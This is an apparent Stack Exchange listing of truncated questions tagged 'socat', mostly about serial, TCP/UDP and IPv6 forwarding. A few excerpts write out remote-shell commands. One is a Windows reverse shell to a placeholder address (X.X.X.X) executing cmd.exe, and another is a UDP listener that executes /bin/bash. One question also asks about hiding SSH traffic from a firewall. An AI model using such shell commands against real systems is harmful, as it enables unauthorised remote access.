Questions tagged [socat]
The socat tag has no usage guidance.
71
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Unable to capture remote client data with nohup and socat
I need to capture the verbose and debug output of socat running on a remote server.
I can achieve the above when running socat in the foreground:
$ socat -x -d -d -d tcp-l:8080,bind=0.0.0.0,fork,...
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0
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1
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42
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pppd, docker, socat and permissions
We have an [Ubuntu 20.04] Docker image, used as part of a test system, in which I need to run pppd (to test a dial-up connection), where pppd is connected to the physical modem via a socat loop. My ...
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1
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"Duplicate" serial device - read/write from 2 processes
I have a serial/rs485 converter to read/write from a Modbus device.
I have the need to be able to read and write from 2 process.
How can i "copy" the real device /dev/ttyUSB0 to specify in ...
- 161
1
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2
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7k
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TCP to virtual serial port with socat
I have a program (program 1) that has a TCP server listening on port 1234. I have confirmed that the server accepts connections and sends data with a utility str2str.
Program 2, on the same machine, ...
CommunityBot
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2
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0
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Is it possible to trick a device into thinking a client is on the same subnet when it's actually virtualized?
I'm a software engineer with only very basic networking skills, so I apologize in advance if I fumble a bit with my explanation here.
I have a physical device (specifically, an older model of this ...
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2
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529
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Send Data Across NICs Using socat
I'm working on a project trying to develop a data diode for unidirectional transfer of data, and I'm hoping to use socat for some measurements. As a first step, I want to use socat to send data from ...
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socat accepting the connection but ignoring the bytes that get sent
I am trying connect to serial adapter over TCP using socat.
This is something that is even covered in the official documentation and should (in theory) just work.
I first start the server
$ socat -d -...
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0
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742
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Forwarding UDP to TCP with socat shows connection refused
I use this command as I googled, to create a TCP port and forward requests of this port to its UDP:
socat tcp4-listen:1995,reuseaddr,fork UDP:nameserver:1994
And netstat -tulpn | grep 199 shows they'...
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4
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2
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7k
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Make socat listen on both IPv4 and IPv6 stacks
Switched providers the other day, they only assign DSlite-connections. I'm fine, I thought.
Thing is - I want to access some of my stuff from outside of my network, which should be of much less a ...
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1
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151
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Why does socat with rich terminal get killed with signal 9 on OSX?
I used the following command from this question to test out using socat to build a terminal with rich signals:
socat file:'/dev/tty',raw,echo=0 exec:'bash -li',pty,stderr,setsid,sigint,sane
On Linux, ...
- 2,015
0
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2
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575
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socat TCP server bidirectional using sleep, non-interactive client returns without response. Server reports: I/O error
I have the following TCP server:
socat TCP-LISTEN:10000,fork,reuseaddr SYSTEM:'read -r msg && sleep 3 && echo "OK"'
When I execute (interactive mode):
socat - TCP:localhost:...
- 161
0
votes
1
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138
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Can I proxy mumble traffic from IPv4 to IPv6 with socat?
I have an IPv6-only Mumble server at home (because I have no public IPv4). I want to make it accessible to IPv4-only users with a small VPN.
The VPN has a public IPv4 that I can ping
The VPN has IPv6 ...
- 111
1
vote
1
answer
2k
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How to send and receive an UNIX datagram with socat?
I need to send a UNIX datagram to an open port in a running application with socat. When the application receives the datagram, it will answer back with another.
I need to do this to get the resulting ...
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1
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1
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Is it possible to simulate SSH remote port forwarding with socat alone?
Consider the following scenario.
Server A has access to serverX:9000.
Server A has access to serverB:7000.
Server B is not able to directly access ports on Server A.
Server B wants access to serverX:...
- 161
0
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1
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Socat download - what file to choose for installation? Windows
My antivirus program prohibits the download of netcat. So, I have chosen to download Socat through Winzip. However, I have no clue whatsoever of which file I should use to install the tool... Or if it'...
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1
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Filter stdin of process executed with socat client
My question is: is there a way to pre-process the stdin of a command executed via socat client.
Context:
I am launching a reverse shell with socat using this command:
$> socat -T30 "openssl-...
0
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2
answers
3k
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Socat keeps waiting for input from stdin
I need to run this command on Mac OS X El Capitan. I found it on this guide about Eclipse Che. However, when I try to do that, socat keeps waiting for input from stdin.
$ socat -d TCP-LISTEN:2376,...
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2
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socat sending from the wrong IP address
I am using socat to forward UDP traffic from one port to another with the following command:
socat -T5 UDP4-LISTEN:12345,reuseaddr,fork UDP4:127.0.0.1:23456,bind=127.0.0.2,so-bindtodevice=lo
Using ...
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2
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SOCAT on WINDOWS: why do I need pipes option for EXEC address?
Trying to create a reverse shell, I used this one my windows box:
socat -d -d TCP4:X.X.X.X:789 EXEC:'cmd.exe'
which failed with the following error: "The process tried to write to a nonexistent ...
0
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1
answer
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Increase buffer size for a specific socket on Linux
I am using CentOS7 and I have to increase the send buffer size (SO_SNDBUF) on a socket listening on a specific port. The application that has the port opened does not natively support this.
Few things ...
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socat resetting USB port on open
I'm having an issue with socat, and it is probably just in my environment.
I need to have a USB serial port redirected to a TCP port. I use the following and it works perfectly:
socat TCP-LISTEN:4444,...
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211
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What's the best/easiest way to create a usb connection from Windows to Linux
I'm wondering what's the best way for me to setup a usb connection from Windows to a remote linux servers (Redhat)? I did some Googling and found socat but that was for Linux to Linux, any ideas?
My ...
0
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1
answer
1k
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How to forward UDP traffic from IPv4 to IPv6?
I have a local Server that only has an IPv6 Adress on which i want to host a Minecraft Server for my friends and myself. The Problem is that some of them don't have an v6 adress.
I am currently using ...
0
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1
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393
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Is socat broken at the moment?
I attempted to run socat on Windows 10, however when executed it showed the following error:
0 [main] socat 5536 find_fast_cwd: WARNING: Couldn't compute FAST_CWD pointer. Please report this problem ...
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0
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875
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Using socat to bypass NAT
I`m facing the following problem:
Lets call my machine the PC-1 and a remote machine which i want to access, the PC-2. PC-1 and PC-2 are in different networks, and both are behind a NAT.
To achieve ...
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1
answer
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SSH Tunnel + Socat UDP + Unicast + Multicast
I am trying to communicate from a machine LOCAL (sitting at home) with a scientific instrument (SCIENTIFIC, IP=192.168.1.109) which sits in a remote network along with a raspberry (SERVER).
SCIENTIFIC ...
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2
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How to DNAT local packets
I have a program send UDP packets to 192.168.0.2:12345, receive packets at port 54321, and it uses 192.168.0.1 IP address. I want it send packets to 10.10.10.10 with same port, because this program ...
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1
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SSH Tunnel + Socat UDP Forwarding + multiple clients
I have an Ubuntu machine running a server daemon (Unity3d unet game server in this case) that is designed to communicate with clients solely via UDP. The clients are on Windows 7 and Windows 10. Due ...
CommunityBot
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3
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1
answer
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Using socat for SOCKET-SENDTO
I'm trying to use socat to send a raw packet to an ethernet interface, but I get "No such device or address". How should I be using socat?
Usage:
$ echo hi | sudo socat - SOCKET-SENDTO:17:3:0:...
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1
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Using socat to access API behind proxy with client certificate
Is it possible, to use socat to access an API via an external proxy, where the API needs client authentication?
Currently I only found out, how to access any website via proxy:
TCP4-LISTEN:8443,...
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2
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1
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Share ssh-agent socket or any other named pipe between windows 10 and cygwin
Cygwin emulates sockets by opening port and adding the port number and a "login" secret to a file instead of using windows named pipes.
Further there seems to be no access to Windows named pipes from ...
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SOCAT IPv4 to IPv6 Routing
i got a small issue/question by using SOCAT on my vServer.
My Problem is that i just got CG-NAT DS-Lite ISP wich provides me a private IPv4 Internal ISP IP and an native public IPv6 Adress.
That means ...
7
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1
answer
9k
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forward a TCP connection with logging using socat
I'm trying to debug a service to which clients connect using TCP (in Linux). I cannot change either program (don't have source), and I cannot make use of mechanisms which snoop on the network layer (...
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2
answers
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Send UDP packet and listen for replies
I have a program with a Send an UDP packet to port xyz and I will reply with some UDP packets! interface.
I've found out that I can send a UDP packet with
echo <packetContent> | socat - udp:&...
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560
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socat does not terminate the udp client when server side exit
server side:
socat udp-l:2023,reuseaddr,fork exec:/bin/bash,pty,setsid,setpgid,stderr,ctty
client side:
socat -,raw,echo=0 udp:localhost:2023
When I exit the bash, the server side exit, but the ...
CommunityBot
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3
votes
2
answers
5k
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Record multicast stream on multi-homed Linux host
I have what sounds like the simplest possible use case, and yet nothing is satisfactory.
I have a multi-homed host and I would like to listen to multicasts on eth1, and shove all the payload (NOT ...
CommunityBot
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4
votes
1
answer
2k
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How do I run a command for each UDP packet with socat?
I'm trying to print each arriving UDP packet. I'd like to use xxd to print the ascii contents as well as the raw data (as hex).
So far I've used
socat - udp4-listen:11255,reuseaddr,fork | xxd
This ...
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1
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socat UDP IPv6 to IPv4 gateway results in lots of processes
I have an IPv4-only UDP application listening on port 624. I created an IPv6/IPv4 front-end with socat, listening on port 625. I can now use the server's IPv4 or IPv6 address to access the IPv4-only ...
- 303
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2
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How to keep socat alive using keepalive option
I have this socat command that is running fine, but when no data is transfered, it is dying after exactly 5 minutes and I don't understand why as I've set it up to send 100 keepalive every 10 seconds ...
- 2,477
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1
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socat gives "Resource temporarily unavailable" on OS X High Sierra
I am trying to create a virtual local com-port that forwards everything to a remote computer via TCP with this command:
sudo socat GOPEN:/dev/ptyp0,ignoreeof TCP:192.168.254.106:8080
2018/09/08 21:48:...
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1
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109
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Redirect only specific hosts requests, leaving a default for others
I have a machine with only port 80 open, there is already an http server on.
I want to intercept any incoming traffic on port 80 and:
if coming from ip1,ip2,ip3 redirect on another application ...
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0
votes
1
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112
views
Unable to read warning during boot stage through socat for a virtual serial port
I am trying to deploy Docker image(converted to vmdk - Sata controller - vdi created) on VirtualBox.
This is I am doing through automation, at this stage I have enabled serial port "host device" > "...
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1
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Linux virtual tty
I created my own Long Range RF USB.
[USB device] -> [Raspberry PI] -> [myTxApp] -> [RF device *(not WiFi)] -> [RF device] -> [Laptop] -> [myRxApp] -> [Virtual device]
I tested it on USB Webcam, and ...
- 16.9k
6
votes
1
answer
8k
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How to make `nc` listen on a port without setting `SO_REUSEPORT`
I want to have a nc command listen on a TCP port so I did:
nc -lv 8888
Then in another console I checked if another program trying to listen on the same port would get an Address already in use type ...
- 242
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1
answer
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Socat not closing tcp connection
I use socat 1.7.3.1-r0 and run following command on an alpine 3.3 linux server:
socat -d -d -d PTY,link=/dev/ttyFOOBAR,echo=0,raw,unlink-close=0 TCP-LISTEN:7000,forever,reuseaddr
Socat will listen ...
- 92.7k
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1
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How to get an ssh socks proxy on demand?
I know ssh provides a SOCKS proxy with -D. I wonder if it's possible to start such a proxy on demand, the moment a connection is made to a specified port (using the likes of socat and nc under the ...
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0
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Bash 4.4.0 causes nano to fail with Received SIGHUP or SIGTERM
The problem is very specific, but I figured out the conditions for failure:
system is: Linux 3.16.0-4-686-pae #1 SMP Debian 3.16.43-2+deb8u2 (2017-06-26) i686 GNU/Linux
when i do the following set ...
- 251
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1
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Hide ssh traffic from firewall
Is it somehow (preferably easily) possible to hide ssh traffic from an package inspecting firewall. I thought of basically embedding the ssh session in a harmlessly looking TLS session. I found out ...
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1
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socat and rich terminal again
I start socat on a terminal by executing socat - UNIX-listen:/tmp/sock
Then I go to another terminal and start a program (by python) in such a way, that it appears to run in the first terminal, here ...
CommunityBot
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18
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3
answers
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Netcat/socat behavior with piping and UDP?
I guess this is close to linux - Netcat stops listening for UDP traffic - Super User, but I thought I'd better ask anyways
As far as versions of netcat I'm using Ubuntu 11.04 and the default netcat ...
CommunityBot
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